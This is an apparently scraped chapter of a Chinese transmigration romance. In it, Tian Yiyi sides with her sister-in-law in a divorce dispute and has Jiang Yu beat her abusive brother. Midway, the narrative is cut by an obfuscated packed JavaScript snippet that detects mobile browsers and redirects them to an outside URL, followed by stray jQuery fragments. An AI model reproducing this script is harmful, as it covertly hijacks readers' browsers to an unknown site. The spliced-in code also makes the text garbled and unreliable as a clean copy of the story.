“你来找我就是为了说这个?”


    田一一看着坐在自家炕上摆弄手腕上金镯子的文霞。


    那天晚上跟鬼似的人变了个样,从骨子里透着嚣张和得意,一身城里人打扮,还烫了个时髦的卷发,不等她开口,田一一又问:“捡了大钱发财了?”


    文霞哼笑一声,身体跟着晃,嘴角都快翘上天:“我听你的话去那孙子新家大闹一顿。”


    她说着往田一一身边靠了靠:“旁边住的可都是咱们市里有头脸的人物,我和浩浩一起躺地上哭,把那俩贱人骂了个狗血淋头,还说要是我娘俩身上有半点不好他们就是杀人犯,小贱人亏得还是个知识分子,居然和我对骂。论撒泼老娘能输了?我回骂她搅坏人婚姻没积德所以生不出儿子,这辈子也生不出带把的。”


    田一一一噎,说实话她真搞不明白文霞的脑回路,虽然自己发善心收留了这人一晚,但两人到底撕破脸,又加上原著中的做派,该是老死不相往来的结果,这闹得是哪出?


    “喏,就当之前你借给我钱的利息。以后我们娘俩过日子的钱都从我前公公那儿拿,不然真闹到法院,他这张老脸更挂不住。多亏你骂醒了我,现在我们娘俩有房子住有钱花,看在这份上我也帮你一把,免得你哪天鬼迷心窍给我妈他们卖了。”


    田一一一时不知道该感谢她还是……


    “你放心,以后江煜还是我妹夫,我不惦记他了。到这份上了,我也和你交底,江煜是个可靠还有本事的男人,最主要的是他不背着你乱来,连我这样的都勾引不了他,听姐的,你好好和他过。”


    田一一无语了,这老姐变脸变得也太快了吧?直接推翻了小说中的形象,竟然还有这么良心的一面?


    “江煜人呢?”


    田一一收回注意力,回道:“进城了,说尽量天黑前赶回来。”


    “你也不问他做什么去?”


    田一一才懒得管他,反正他早晚是要发财的,有关心他的力气还不如多关心自己,说实话她有生存焦虑感,毕竟和那个男人是假夫妻,靠他养有负罪感,她也得尽快找到自己的立足之法。


    “问他干嘛?你不都说他靠得住了。”


    文霞抬手戳了下她的脑门:“傻呀,不闻不问,时间久了神仙也会跑的。”


    田一一垂着眼,耸耸肩:“没事,记得给孩子抚养费就行。”


    江煜刚进门就听到这句话,顿了一下,面无表情的把包装得很仔细的几套小衣服放到她手边,转身就要出去。


    文霞把刚才的问题又问了一遍。


    江煜余光扫了眼拿起小衣服翻来覆去看的人,淡淡地说:“半路遇到嫂子娘家人,谈他们两口子离婚的事。”


    村里人就这样,不管什么事都要一家子人都得在,即便天上下刀子也得赶过去撑场子。


    文霞撇撇嘴,一副无所谓地态度:“我就不去掺和了,不想找揍,你别忘了我可是为你报仇的。”说完拍拍屁股走人了。


    留下她和江煜大眼瞪小眼。


    “你去吗?”


    田一一把文霞给的几百块收起:“去啊,这么难得的热闹,别浪费了。你要有事忙你的,我一个人也行。”


    江煜直接拒绝:“他们要是打起来伤了我孩子怎么办?”


    田一一想就冲他这么紧张孩子自己担心抚养费都是多余,看了眼挂在墙上的老式钟表,十一点了:“要不我们吃了饭再去?”


    这女人以前把娘家事当天大事,一刻也等不得,现在居然这么无所谓,江煜看不清她心里在想什么。


    田一一原本侧坐在炕上,转身两脚着地,拍了拍压皱的地方,继续说:“让他们先打着,打累了我们再去。这两天怪乏的,坐着都累……”


    她还煞有介事的握拳捶了捶腰。


    江煜好笑不已:“我要没回来,你不吃饭?”


    “文霞不在吗?她欠我那么多,再做一顿饭不过分吧?”


    “以前怎么没发现你这么多歪理?”江煜走到外面拿起搭在绳子上的围裙系在腰上,“想吃什么?”


    田一一这两天吃怕了他那固定的几样饭,跟在他身后:“你按我说的做?”


    江煜哪儿能品不出来她对他厨艺的嫌弃?定定地看了她几眼,她也眨巴着那双水润无辜的眸子回望他,最中败下阵来。


    “嗯。”


    没想到她得寸进尺。


    “我还有个歪理。”她也不顾他要不要听,直接说:“一会儿去我家,你还听我的,按我说的做。刚你答应了,不许反悔。”


    江煜瞪她:“你是无赖吗?”


    “你儿子要吃香菜汤面。”


    江煜本来话就不多,这会儿说不过她就闷声做饭,由着她指挥烧水、下面,放调味料。在做饭这件事上,他认输,凡是弥补自己短处的学习,他态度都很认真,从贫瘠中成长起来的人全靠东捡西捡来充实自己,以备为将来所用。


    江煜习惯下重调料来掩盖食物的乏味,原来清淡的食物也能这么爽口好吃。


    “以后想吃什么,你教我,我做给你。”


    田一一端起碗喝了口汤,笑眯眯地说:“好啊。”


    但她心里却想着两人虽然是合作关系,也该有一定的边界。


    这一番耽搁,两人到田家,发现气氛极为沉默,显然唇枪舌战的争论已经结束。田家兄妹俩跟霜打的茄子似的耷拉着头,抬头见到他们,眼里全是埋怨,到底当着有身份的亲家不好说出口。


    田一一刚进院子就看到蹲在角落环抱双臂的田一舟,这会儿哪还有那天街头所有的肆意和狂傲,只是一个忿忿不平又胆小如鼠的废物。


    田一舟看到她,腾地站起来,大步冲她走来,气冲冲地指责她:“你怎么才来?知不知道轻重缓急?”


    田一一本来就没把自己当局内人,才不会像原主一样被他凶神恶煞的指责吓得哆嗦,脑海里浮现出他打原主时凶神恶煞的模样,挺直腰杆,昂首挺胸,回击回去:“你在外面惹事怎么不想着轻重缓急?我来能让你们两口子不散伙?”


    乡下两口子闹矛盾,邻里和亲人都会想法设法的劝,本着宁毁一座庙不拆一桩婚的老说法,还真劝好了不少摇摇欲坠的家庭。


    显然田一一本该充当调和角色的人没有及时出现,直接让两家撕破脸,来的路上,她也从邻居那里听说了吵的相当不体面,神仙都难救。


    田玉芬走过来扒拉田一一的胳膊:“你劝劝你嫂子,孩子都这么大了,离了婚,要爹没爹,要妈没妈的,多可怜,以后学坏了怎么办?”


    田一一看了眼低着头神情淡漠的女人,还有坐在旁边一看就是城里人气质的家人,在姑姑的殷切期盼下,实话实说:“嫂子人勤快又善良,没怎么吃苦却任劳任怨地跟我妈下地料理家事,一个大专毕业生窝在这个小院子可惜了。田一舟初中没上完,好吃懒做,天天在外面跟个孤魂野鬼一样,一点都配不上嫂子。”


    田一一的话音才落,就惹来田玉芬一声尖叫:“要死,你说的都是什么东西?拆散人两口子你要遭雷劈的。”


    原本低着头宛如被抽去了灵魂的女人突然抬头看向这个很不讨喜的愚蠢小姑子,她看在婆母的份上几乎没和小姑子闹矛盾,却没想到小姑子能说出这么一番话,瞬时红了眼眶。


    当初执意要嫁田一舟不听家人的话,是她的错,现在她想离婚,家人让她看在孩子的份上让她忍了,在场十来号人只有小姑子是向着她说话的。


    田一一侧着身子躲田玉芬要掐人的魔爪,跟倒豆子似的:“这学历出去找份工作,钱踹自己兜里,多好的日子,犯不着因为他们得乳腺增生。”


    田佳根差点被女儿这两句不着边际的话气得晕过去,大声呵斥:“闭嘴吧你,不会说话没人把你当哑巴。早知道你过来搅和,你压根不用来。”


    田一一动了动嘴角,理直气壮地:“我姑搅和我和江煜离婚,你怎么不说?现在怕教坏孩子?早干什么去了?给不知道从哪儿冒出来的女人找上门要钱光荣?把小孩子推出来骗同情,丢人不丢人?有种做,没种认?整天这么教孩子,是嫌祸害社会的流氓少吗?”


    田玉芬气得直跺脚,下意识举起拳头,就被眼疾手快的田母推到一边去了:“田玉芬,你动我女儿一下试试?”


    江煜一直站在最外侧的位置,察觉到这个牙尖嘴利像上门来踢馆的女人快贴到自己身上,垂下眼帘,弯了弯嘴角,原来是个胆小鬼。


    不过在此刻,他确定田一一是真的不一样了,最起码那些话听着是个正常人说出来的。不像以前刻薄、自私、愚蠢,一听到她的声音就烦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942605|177420||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “一一,你觉得我应该和你哥离婚?”


    田一一不会替任何人做决定,看着嫂子的眼睛说:“下次再有女人找上门,叫天天不应叫地地不灵的时候别怪没人救你,舍不舍得下全看你,我只是把我看到的说出来。”


    江煜黑亮的眼锁住眼前玲珑娇俏的人儿,以前怎么没发现她这般顽皮蔫坏的一面,明明就在给人出主意,还非要把自己摘出去。


    依照惯例,大舅子这个家是散不掉的,两边家长明显都不想闹到离婚的地步,这世上为了孩子忍一辈子的人多了去,像他爸妈那样丢下孩子跑了的少之又少。现在他和田一一也有孩子了,为了孩子……不对,田一一只是暂时和他一起抚养孩子,未来的某天,她也会和他分道扬镳。


    她的那些话看似说给姜敏听,实则也是在提醒他,生了孩子,找份工作自食其力,他们原本就是合作关系,本来就没什么感情牵绊,自然不会有今天这样的鸡飞狗跳。


    这些都是谁教她的?


    江煜嘴角的笑渐渐隐去,深邃的黑眸中多了几分审视。


    姜敏轻笑一声,转头看向父母,目光坚定:“爸妈,闹到这步田地没必要再将就了,今天就算一一不说这些话我也要离。女儿我带走,反正他们一直嫌弃是个丫头片子,我会想办法养活我们娘俩。”


    屋子里的所有声音从耳边划过,田一一的目光从头至尾落在田一舟脸上,这个被宠坏的男人从一开始的游刃有余到事情不可控的慌乱,再到从姜家父母口中听到尘埃落定的面如死灰和迁怒。


    这些人当初能摁头让他负责,也能让他滚得远远的,享受惯了别人的恭维,不费吹灰之力获得的钱财,一旦失去和犯瘾却无解药无异,抓心挠肺的成为一条落魄狗。


    他踩着别人的的委屈、不甘、无奈和愚蠢活出了人模狗样,在他的背后有一条营养管,源源不断的为他输送养分,却没人注意到另一条生命的凋零。


    怪原主愚蠢已然没有任何意义,她来到这里也只是为了自己,彻底切断缠在自己身体上的那根无形的管子,要说幸运的大概是姜敏的坚定,也更加激怒了将一切迁怒于他人的田一舟。


    果然,田一舟像看敌人一样气势汹汹的朝她走来,这个被偏爱的有恃无恐的男人,在遇到不如意时就挥舞拳头发泄怒气,原主从小到大没少受,哪怕只是胳膊上、背部被咚咚敲几下,都让人痛得撕心裂肺。说来讽刺,原主遭遇的暴力竟然是在至亲的家里。


    田一一吞咽着口水,看着一头野牛冲过来,她垂在身侧的手探向身后抓了几下终于握住那只火热有力的大掌,悦耳的嗓音中带着丝颤意:“江煜,你答应听我的话的。”


    头顶传来一声轻呵,气浪擦过她的耳畔,带来一阵莫名的麻意。


    就在田一舟伸出手要揪她领口的那刻,她狠狠地说:“江煜,打他,把他从小到大打我的仇全报了。为了你这个没用的东西,你亲妈居然想打掉我的孩子,还逼我离婚把我卖给有钱人,这么糟践我,活该你妻离子散。”


    田一舟在江煜攥住他胳膊的那刻就怂了,他用力挣了半天都挣不开,成天醉生梦死纵欲过度的人哪儿能比得过在外面风雨中摸爬滚打的人。


    江煜一拳打的田一舟头跟着歪向一侧,牙齿咬破了唇,血糊了一嘴,不过几拳下去,人就跟一块破布袋瘫软在地上直哼哼,十足的是个废物。


    自己的宝贝儿子被揍,田玉芬哪儿能忍,可因为惹不起江煜不敢过来,只能在旁边哭嚎:“一一,枉费我这么疼你,你怎么说胡话呢?要是你不想嫁有钱人我废那么大劲干什么?”


    跟他们掰扯那纯粹是去咬狗,她也不脸红,一步蹦到江煜身边,抱着他的胳膊大声嚷回去:“谁说胡话?我要想另嫁干嘛给江煜生孩子?我也就顾着你作为长辈的颜面才没轮扫帚把你打出去,你可倒好,信口开河。我今儿算是看清你们一家子的嘴脸了,吃人不吐骨头,我被你们欺负够够的了,咱们就到这,别连累了我家的名声。”


    她说完扯着江煜离开,临走前还不忘踢了田一舟两脚,一直走到没人的小路上才舒了口气,笑说:“田一舟欺软怕硬,以后见了你都得绕道走,他也不敢来找我的麻烦。”


    江煜两手插着腰,走的很慢,翘起嘴角:“咱们家有什么名声可连累的?”